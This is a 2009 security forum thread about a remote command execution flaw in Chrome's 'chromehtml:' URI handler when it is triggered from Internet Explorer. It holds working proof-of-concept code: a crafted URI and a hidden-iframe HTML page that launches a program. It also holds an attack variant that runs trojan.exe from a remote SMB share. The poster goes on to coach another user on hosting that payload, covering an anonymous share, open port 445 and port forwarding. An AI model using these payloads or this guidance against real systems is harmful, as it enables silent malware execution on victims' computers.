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www.waraxe.us Forum Index -> All other security holes -> IE pwning Chrome :) Goto page 1, 2  Next
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IE pwning Chrome :)
PostPosted: Fri Jan 30, 2009 11:42 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




If you have Chrome installed on your windows PC, then try this with IE:

Code:

chromehtml:"%20--renderer-path="calc"%20--no-sandbox


Another PoC:

Code:

<html><head><title>Chrome URI Handler Remote Command Execution PoC</title></head>
<body>
<h3>This is a test</h3>
<iframe src='chromehtml:"%20--renderer-path="calc"%20--no-sandbox' width=0 height=0></iframe>
</body></html>


Yes, Remote Command Execution Smile

http://www.securityfocus.com/archive/1/500586/30/0/threaded
http://packetstormsecurity.org/filedesc/chrome-sandbox.txt.html
http://www.milw0rm.com/exploits/7935
http://www.securityfocus.com/bid/32997/discuss
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PostPosted: Sat Jan 31, 2009 4:22 am Reply with quote
Jetfirehack
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Joined: Jan 31, 2009
Posts: 6
Location: x




I just tested this code locally in Chrome, but all that happens is a warning to launch an external application, and which when I click "launch" it opens up a new tab instead of calc, which I presume is what's supposed to be run upon approval :\
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PostPosted: Sat Jan 31, 2009 1:42 pm Reply with quote
waraxe
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Posts: 2407
Location: Estonia, Tartu




Jetfirehack wrote:
I just tested this code locally in Chrome, but all that happens is a warning to launch an external application, and which when I click "launch" it opens up a new tab instead of calc, which I presume is what's supposed to be run upon approval :\


It supposed to be opened in Internet Explorer Very Happy
Just write that example html file, open with IE and watch the Calculator popping up. Real world attack scenario using SMB (Windows shares):

Code:

<html><head><title>Chrome URI Handler Remote Command Execution PoC 2</title></head>
<body>
<h3>This is a test2</h3>
<iframe src='chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox' width=0 height=0></iframe>
</body></html>


So for attack to be successul:

1. victim must have windows op system
2. Chrome must be installed
3. victim must visit malicious website with IE browser
4. firewall and other obstacles must let SMB to deliver the payload
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PostPosted: Sat Jan 31, 2009 7:35 pm Reply with quote
9SttnsGrp
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Joined: Jan 31, 2009
Posts: 1




Janek, did you know that rgod always loved you? However, we already knew that Smile we are doing that to a lot of apps... most of them have undocumented switches, just investigating executables with PE Explorer.
btw, tnx for pointing attention to that solution
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PostPosted: Sat Jan 31, 2009 8:49 pm Reply with quote
waraxe
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Posts: 2407
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Hi Very Happy

Yes, this URI handler vulns stuff is widespread. I did some dig in history and there was issues allready from year 2002 Smile
I'm using IDA and other tools for reverse engineer and then analyzing commandline parsing - and yes, there is lots of hidden stuff ...
My another favorite area of research currently is ActiveX - many undocumented "features" waiting for abuse Rolling Eyes
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PostPosted: Sat Jan 31, 2009 9:09 pm Reply with quote
Jetfirehack
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Joined: Jan 31, 2009
Posts: 6
Location: x




Hmm, maybe it's just me because I just get an error with IE lolz.

The webpage cannot be displayed
Most likely cause:
Some content or files on this webpage require a program that you don't have installed.

What you can try:
Search online for a program you can use to view this web content.

Retype the address.

Go back to the previous page.



&& The URL would say:
chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox
Which is pretty coool.
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PostPosted: Sat Jan 31, 2009 11:41 pm Reply with quote
pexli
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Joined: May 24, 2007
Posts: 665
Location: Bulgaria




hehehhehe.Cool.SmileSmile
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PostPosted: Sat Jan 31, 2009 11:56 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Jetfirehack wrote:
Hmm, maybe it's just me because I just get an error with IE lolz.

The webpage cannot be displayed
Most likely cause:
Some content or files on this webpage require a program that you don't have installed.

What you can try:
Search online for a program you can use to view this web content.

Retype the address.

Go back to the previous page.



&& The URL would say:
chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox
Which is pretty coool.


You have Chrome installed, right? Try this in IE:

Code:

chromehtml:


Does Chrome pop up or not?
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PostPosted: Sun Feb 01, 2009 3:27 am Reply with quote
-AO-
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Joined: Jul 15, 2008
Posts: 205
Location: United States




Nice Cool
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PostPosted: Sun Feb 01, 2009 9:40 pm Reply with quote
Jetfirehack
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Joined: Jan 31, 2009
Posts: 6
Location: x




waraxe wrote:
Jetfirehack wrote:
Hmm, maybe it's just me because I just get an error with IE lolz.

The webpage cannot be displayed
Most likely cause:
Some content or files on this webpage require a program that you don't have installed.

What you can try:
Search online for a program you can use to view this web content.

Retype the address.

Go back to the previous page.



&& The URL would say:
chromehtml:"%20--renderer-path="\\11.22.33.44\path\to\trojan.exe"%20--no-sandbox
Which is pretty coool.


You have Chrome installed, right? Try this in IE:

Code:

chromehtml:


Does Chrome pop up or not?
Nope, nothing happens for me - and I have Chrome installed.
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PostPosted: Mon Feb 02, 2009 2:08 am Reply with quote
-AO-
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Joined: Jul 15, 2008
Posts: 205
Location: United States




Are you sure you have calc installed? Laughing

Works for me Smile
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PostPosted: Mon Feb 02, 2009 12:15 pm Reply with quote
johnnycannuk
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Joined: Feb 02, 2009
Posts: 3




-AO- wrote:
Are you sure you have calc installed? Laughing

Works for me Smile


I definitely have calc installed and I'm getting the same error message - it doesn't matter whether I get it from a local file of served from a local web server.

Check you IE settings, maybe there is some setting you guys have that we don't/ My IE definitly doesn't know how to handle Chomehtml:
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PostPosted: Mon Feb 02, 2009 1:25 pm Reply with quote
UXo
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Joined: Feb 02, 2009
Posts: 4




Waraxe , I need some help about the execution of an other file , I have try some test to check if it will poped or not , It doesn't working . .

Code:
chromehtml:"%20--renderer-path="\\URL.com\trojan.exe"%20--no-sandbox


can I got a solution about this?, Thanks in advanced.


/UXe
Cool
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PostPosted: Mon Feb 02, 2009 1:47 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




johnnycannuk wrote:
-AO- wrote:
Are you sure you have calc installed? Laughing

Works for me Smile


I definitely have calc installed and I'm getting the same error message - it doesn't matter whether I get it from a local file of served from a local web server.

Check you IE settings, maybe there is some setting you guys have that we don't/ My IE definitly doesn't know how to handle Chomehtml:


If "chromehtml:" in IE will not trigger Chrome, then you just don't have chrome URI handler installed to your system registry ...
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PostPosted: Mon Feb 02, 2009 1:50 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




UXo wrote:
Waraxe , I need some help about the execution of an other file , I have try some test to check if it will poped or not , It doesn't working . .

Code:
chromehtml:"%20--renderer-path="\\URL.com\trojan.exe"%20--no-sandbox


can I got a solution about this?, Thanks in advanced.


/UXe
Cool


This is not http protocol, it's SMB (windows shares). Attacker must use ip address to windows box with shares open to Internet. SMB port 445 must be not blocked by firewall, use port forwarding in router if needed. Share must be accessible anonymously, without credentials.
Have you tried local version with calc or cmd? Does it work locally?
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IE pwning Chrome :)
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